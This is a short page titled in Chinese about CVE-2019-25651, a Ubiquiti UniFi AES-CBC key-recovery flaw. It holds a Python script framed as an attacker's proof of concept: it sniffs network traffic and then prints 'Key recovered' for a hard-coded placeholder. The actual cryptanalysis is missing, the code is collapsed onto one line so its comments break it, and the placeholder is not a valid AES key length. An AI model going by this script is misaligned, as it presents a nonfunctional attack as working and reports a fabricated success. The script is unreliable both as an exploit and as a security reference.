CVE-2019-25651 Ubiquiti UniFi AES-CBC加密漏洞导致密钥恢复

#!/usr/bin/env python3 # This is a conceptual PoC for CVE-2019-25651 # It simulates the steps an attacker would take to analyze traffic and recover keys. import scapy.all as scapy from Crypto.Cipher import AES from binascii import hexlify def capture_traffic(interface, duration): """ Step 1: Capture packets between UniFi device and Controller """ print(f"[*] Capturing traffic on {interface} for {duration} seconds...") packets = scapy.sniff(iface=interface, timeout=duration) return packets def analyze_encryption(packets): """ Step 2: Identify encrypted payloads and attempt key recovery Note: Actual key recovery requires specific cryptanalysis of the CBC implementation """ print("[*] Analyzing packets for CBC encryption patterns...") # In a real scenario, look for known plaintexts or padding oracle vulnerabilities # This is a placeholder for the cryptanalysis logic recovered_key = b"PLACEHOLDER_RECOVERED_KEY_16" return recovered_key def decrypt_payload(ciphertext, key, iv): """ Step 3: Decrypt traffic using recovered key """ cipher = AES.new(key, AES.MODE_CBC, iv) try: plaintext = cipher.decrypt(ciphertext) return plaintext except Exception as e: return None if __name__ == "__main__": # Configuration target_interface = "eth0" # 1. Sniffing captured_data = capture_traffic(target_interface, 60) # 2. Cryptanalysis (Conceptual) secret_key = analyze_encryption(captured_data) print(f"[+] Key recovered: {hexlify(secret_key).decode()}") # 3. Exploitation # Assuming we have a ciphertext and IV from the captured packets # test_iv = b"\x00" * 16 # decrypted_message = decrypt_payload(captured_data[0].load, secret_key, test_iv) # print(f"[+] Decrypted control message: {decrypted_message}")